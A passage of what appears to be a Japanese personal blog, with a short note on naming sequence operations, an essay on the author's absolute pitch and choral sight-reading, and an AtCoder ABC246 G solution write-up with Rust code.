A, B, C, ... から a, b, c, ... を作る操作 (元記事の「"それ"を1個以上並べることでオブジェクトを生成する何か」を作る操作) に名前が付いていた方が便利な気がしてきました。
正規表現でいうところの + の逆演算をしているので、invplus と呼びたいです。「繰り返しの逆操作」とかだと長すぎるので…。
それに加え、f という関数で実現されている「同じものが隣にならない繰り返し」のことを nodup と呼びたいです。これは Rust の標準関数 dedup からの類推です。

絶対音感と譜読みの早さ: (1)特殊な認知について

私は合唱を長い間やっていて、譜読み(楽譜の読解)が他の人と比べて高速にできるということがわかっています。特に初見の楽譜を見て歌うのが早く、音取り(ピアノやキーボードなどで音を出してどのような感じの旋律か理解すること)なしで大体の曲を歌うことができます。*1
そのようになる原因を探っていたところ、自分の音楽や楽譜の認識のやり方が他の大多数の人と大きく違っているはずであることが主要因であるだろう、ということがわかってきていました。
そこで、以下のためにこの文章を書きます。
(i) 他の人の音楽の聴き方、楽譜の読み方などを知りたいと思う方のために、自分のやり方を書いておく。他の人のやり方も知りたいのでコメントなどいただけるとありがたい。また当事者からは当たり前だが当事者以外から誤解されがちな点を正す。
(ii) 自分の音楽の聴き方、楽譜の読み方を、少しでも役に立たせるために、訓練でどうにかなりそうなところについては訓練のしかたを書いておく。非常に稀になぜそんなに譜読みが早いのか聞かれることがあるが、そのたびに答えを用意しておらずしどろもどろになるのに飽きたため。

この記事では(i)について書き、(ii)については別の記事に分けたいと思います。

執筆者について

執筆者は子供の頃ピアノを練習しており、10年程度やっていました。また合唱は15歳くらいのころから10年以上続けています。

絶対音感について

突然何らかの楽器の音が鳴ったとき、その音の高さを当てられる能力のことを絶対音感、あるいは絶対的音感絶対的音高感などと呼びます。
ここでは一般的な絶対音感について詳しく述べることはしませんが、例えば相対音感と絶対音感の違いとは? | 椿音楽教室などは自分の考えと合っているので、読んでみると良いでしょう。

私の絶対音感について

少なくとも半音単位では音の高さが分かるタイプの絶対音感を持っています。相対音感はほとんどないように思います(相対音感の未熟さを絶対音感でカバーしている)。

得意

音楽を聴いてメロディーがどの音か、コードはどうなっているかを把握するのが得意です。

苦手

(1) 楽譜に書かれている音から移調して歌うのが非常に苦手です。楽譜通りに歌うのであれば「楽譜を読む」->「歌う」の2ステップで済みますが、例えば楽譜から半音下げて歌う場合には「楽譜を読む」->「読んだ範囲の音を半音下げる計算をする」->「歌う」の3ステップかかり、なおかつ計算がまあまあ遅いからです。*2
(2) 絶対音感を持っていない人が音楽を認識する方法を想像することが難しいです。以下のようなことが観測事実から予想できていますが、実際に共感なり体感なりができないです。間違ってたら教えてください

  • ある程度喉の感覚で次の音を覚える。(私も喉の感覚がどうこうというのは多少はありますが、最終的には自分の耳を使って調整します。)*3
  • 複数曲歌うとき、前の曲の終わりから次の曲の入り(開始時)の音を取るのが難しい。(私は前の曲は関係なく直接音取りしています。)
  • 途中で音の高さが基準音(ピアノの鍵盤を叩いた時に鳴る音)からじわじわ下がって行っても気付かない。(私は30〜50セントくらい下がったら気付きます。)
  • 楽譜から移調して歌うときに苦労しない。(私は苦労します。)
  • 歌うとき、横の流れ(前の音から何度上下するか)を気にする。(私の場合、同時に鳴っている他のパートの音との比較はしますが、さっき発した音との比較はしません。)*4

(3) 合唱で響きが良さそうか、楽譜通りかをなんとなく判断するのが苦手です。練習中、どのパートの音がズレているかを調べる時も、他のパートとの比較ではなく基準音との比較でやっている気がします。

(4) 複数音を同時に認識するのが苦手です。

自分の音の認知について

ピアノをやっていたので、耳で聞く音とピアノの鍵盤の上の位置が密接にリンクしています。例えば「ファ」の音が鳴ったとき、脳内で鍵盤上の「ファ」の位置が発光するというイメージです。

音楽を聴く時

メロディーについては、歌くらいの速度であれば鍵盤で正確にどの位置にあるのかが自然に想起されます。(オクターブ単位の誤差は頻繁に発生します。)
コードは雑にどのあたりの音が使われているか分かる程度です。特に複雑な場合、わからないこと、間違って推測することも多々あります。
例えば菅田将暉 『虹』 - YouTubeの歌い出し、「泣いていいんだよ」は以下のように認識します。上から下に、このようにイメージが変化していくものとして見てください。(この例はあくまで例示のためであり、正しさは保証しません。)

メロディー コード 歌詞
F3 (なし)
G3 (なし)
A3 F
A3 (F続き)
G3 (F続き) いん
F3 (F続き)
G3 (F続き)
(なし) C (なし)


重要なのは、これだけでは一度聴いた曲をいきなりピアノで弾けるようにはならないということです。それをするためには少なくとも以下のものが必要です。
(1) 記憶力、特に短期記憶。私は短期記憶力が悪く、この手のタスクが極めて苦手です。(少なくとも数回〜数十回くらいは聴いて覚えないと話になりません。)
(2) 同時に複数音を理解する能力。メロディラインが複数あるときに同時に聴くのも、メロディと伴奏を同時に聴くのもできません。
(3) 指の割り当ての判断。音を聴いたとき、すぐに思い浮かぶのはあくまでも「鍵盤の位置」であって「その音を手を使って弾いている姿」ではないので、指の割り当ては考えないとわかりません。

あと、語りが入っているときはそこの音の高さはわかりません。同様にしゃべる声の音の高さ判定もできません。

楽譜を読む時

楽譜を読むときは、調号・音符・同じ小節内の臨時記号を読んで鍵盤の位置に変換します。
私は楽譜をネイティブレベルで流暢に読めるわけではないので、この作業には結構な時間がかかります。

プログラミングの人向け注: 機械語にあたるもの(私がネイティブに理解できるもの)は鍵盤の位置や音です。楽譜は一旦コンパイルが必要で、歌う場合は往々にしてそこがボトルネックです。
生物系の人向け注: 楽譜がイントロンなどのタンパク質に翻訳されない部分も含むDNA配列とすれば、脳内イメージはそこからエクソンのみを取り出して翻訳した後のタンパク質に相当する…はずです。必要なところしか読まない・場合によって読むところが変わる・一旦変換したら少量なら覚えておけるなどが共通点です。


この辺りは人によって様々な方法があるはずなので、コメントなどで教えていただけるとありがたいです。特に初心者の方・大人になってから音楽を始めた方がどうされているのか知りたいです。

初見の楽譜を見て歌うとき

私がやっているステップは次の2つです。
(1) 楽譜を読み、何の音が書かれているか理解する。 (全体の 80%〜90% くらいの時間がかかる)
(2) 理解した通りに音を歌う。(全体の 10%〜20% くらいの時間がかかる)

(1)の「理解」は以下のステップに分割できます。体感で要する時間を表記しておきます。普段は雑に上から順番にやっていき間に合わなかったところは飛ばしています。
(1-i) 自分のパートの音・リズムを拾う。(1〜3)
(1-ii) 他のパートのリズムを拾う。(2〜6くらい? パート数に比例)
(1-iii) 他のパートとタイミングが合うところや、それがない場合はどのタイミングで入れば良いかを見つける。(1〜4)
(1-iv) 他のパートの音を合わせてすべて鍵盤の上に投影し、コードがどうなっているか把握する (3〜10くらい? コードが複雑であればかなり時間がかかり、隣も見て有名な進行である場合は素早くできる)

また、リアルタイムに楽譜を読みながら歌う必要がある場合は、これらの作業を2小節くらい先読みして行うことで、楽譜を読む時の遅さに対処しています。

楽譜を読むときの速度はある程度鍛えることができると思っています。その方法についてはこの次の記事で詳しく書きたいと思います。

他パートと合わせるとき

「なんとなく響きが綺麗」や3度とか5度くらいならわかりますが、7度などに対する感覚が弱いです。

よくありそう(?)な誤解

Q1. どんな楽譜でもすぐ読めるんでしょ?
A1. 直感に反するかもしれませんが楽譜読むのが多分一番苦手です あまりやらないけど聴いて覚える方が得意かもしれません 楽譜読むのは非自明なので当然難易度によって時間が変わります
Q2. 自慢か?
A2. 絶対音感は努力して身につけたわけではないので自慢する資格はないと思います 自慢するなら譜読みの早さの方ですがそちらは次の記事でテクニックの紹介とともにやります
Q3. 自虐風自慢か?
A3. 主観的にはできることよりもできないことの方が多いです*5 あれもできない、これもできないという愚痴だと思って読んでください
Q4. 曲を聴いたら楽譜が思い浮かぶ?
A4. いいえ 楽譜を想像するのも負荷が大きいです 訓練で楽譜を想像することはたまにあります
Q5. 絶対音感は努力で身につく?
A5. わかりません 今まで調べてきたことから判断すると不可能か難易度が高いと判断するのが良心的な気がします コスパもいいかわからないですね
Q6. 絶対音感を持たない人間にこの記事の内容がどうやって役に立つの?
A6. 一応何個かは思いついています(次の記事で紹介します) この記事を書いた目的の一つに「他の人の認知方法を教えてもらう」というのがあるので、教えてもらえればさらに役に立たせる方法を見つけられるかもしれません あと単純に興味あるんで教えてください

まとめ

絶対音感を持っているだけで何かができるようになるということは基本的にはありません。私の場合、絶対音感の精度や頭の良さに制約があるので運用上やりたいけれどもできないことが目立ちます。
絶対音感を持ってない人のことは想像に限界があるので、教えてもらえると嬉しいです。
音楽を聴いたときの脳内イメージは鍵盤 + 雑なコードです。そこから実際にピアノで演奏するまでには結構なギャップがあります。
楽譜は認知コストが高いので扱いが比較的苦手です。

この記事の内容は以上です。「(2)譜読みの高速化」に続きます。

参考

論理的思考の放棄 - 登 大遊 (Daiyuu Nobori) の個人日記: インスピレーションをもらいました。
ピアノが上手になる超簡単ヒント集 | 楽譜を読む スピードアップのコツ!: 楽譜を読むときのテクニックを調べているうちに見つけました。こういった感じのことを積み重ねて譜読みの高速化に繋げることができるので、これも参考に次のブログ記事の内容を拡充したいと思っています。

*1:合唱で音楽を始めた人も含めて比較するのは公平ではないので、本当であればピアノを10年程度やっていた人の中での速度を比較すべきですが、残念ながら比較に必要なデータを持っていません。多分その比較だと遅い方だと思います。

*2:半音くらいなら臨時記号がなければなんとかできなくはないですが、臨時記号のところとかで詰まってしまいリアルタイムに楽譜を読みながら歌うのは難易度が高いです。

*3:このツイートの事例で、喉の感覚から音を逆算する能力を鍛えたという話を聞いて心底驚いた覚えがあります。そういう方向に進化することと、そんなことが可能だということにです。

*4:念のため、ここでは絶対音感相対音感のどちらが優れているか議論したいわけではありません。どちらにもメリットとデメリットがあります。(個人的には、歌には相対音感の方が向いているのでは?と思うことは何度もあります。)

*5:他人と比べてよりできるらしいのは自覚してますがどうでもいいです。絶対音感を運用する上では自分に課せられた制限を把握することが必要で、他人との比較は無意味です。

ABC246 G - Game on Tree 3

かなり手間取った。
G - Game on Tree 3

問題

頂点 1 を根とした N 頂点の根付き木があり、頂点 1 以外には正の整数が書かれている。木の頂点 1 に駒を置き、高橋君と青木君は以下のようなターン制のゲームを行う。
1. 青木君は頂点 1 以外の頂点を選び、書かれている整数を 0 にする
2. 高橋君は駒の置かれている頂点の子のどれか一つに駒を動かす
3. 駒の置かれている頂点が葉であればゲーム終了。そうでなくても高橋君は自分の判断でゲームを終了できる。

ゲーム終了時に駒の置かれている頂点に書かれている整数が得点である。高橋君の目標は得点の最大化、青木君の目標は得点の最小化である。
両者が最適にプレイする時の得点を求めよ。

解法

二分探索により、各頂点に 0 か 1 が書いてあり、高橋君は 1 に到達できれば勝ち、青木君は阻止できれば勝ち、というゲームになる。

各頂点に対し評価値を、その頂点を根とした部分木で青木君が勝つために必要な手数 (1 を 0 にする回数) とする。各ターン、青木君には子孫のうちどれかを 0 にするという 1 手の余裕があり、高橋君は評価値最大の子を選べばよいので、子の評価値の和が 2 以上であれば勝つことができ、またそれより大きければそれだけ青木君が必要な手数も増える。また、頂点に書かれている数が 1 であれば即座に高橋君が勝つので、青木君はこれも 0 にしなければならない。よって 評価値 = max(子の評価値の和 - 1, 0) + 自分に書かれている値 である。

登場する典型

  • 二分探索
  • 木 DP
  • 二人有限確定完全情報ゲーム

実装上の注意点

特になし

提出:
#30672562 (Rust)

// Does Takahashi win?
fn dfs(v: usize, par: usize, g: &[Vec<usize>], b: &[bool]) -> i32 {
    let mut num = 0;
    if b[v] {
        num += 1;
    }
    let mut ma = 0;
    for &w in &g[v] {
        if w == par { continue; }
        let sub = dfs(w, v, g, b);
        num += sub;
        ma = max(ma, sub);
    }
    if ma > 0 {
        num -= 1;
    }
    num
}
 
fn solve() {
    input! {
        n: usize,
        a: [i64; n - 1],
        uv: [(usize1, usize1); n - 1],
    }
    let mut a = a;
    a.insert(0, 0);
    let mut g = vec![vec![]; n];
    for &(u, v) in &uv {
        g[u].push(v);
        g[v].push(u);
    }
    let mut pass = 0;
    let mut fail = 1 << 30;
    while fail - pass > 1 {
        let mid = (fail + pass) / 2;
        let b: Vec<bool> = a.iter().map(|&a| a >= mid).collect();
        let ans = dfs(0, n, &g, &b);
        if ans > 0 {
            pass = mid;
        } else {
            fail = mid;
        }
    }
    println!("{}", pass);
}

まとめ

適切な評価値を思いつくのが難しく、[i64; 2] (部分木に対して、そこで 0 にする操作をするかどうかで場合分け) などでうまくいくかどうかを無駄に考えてしまっていた。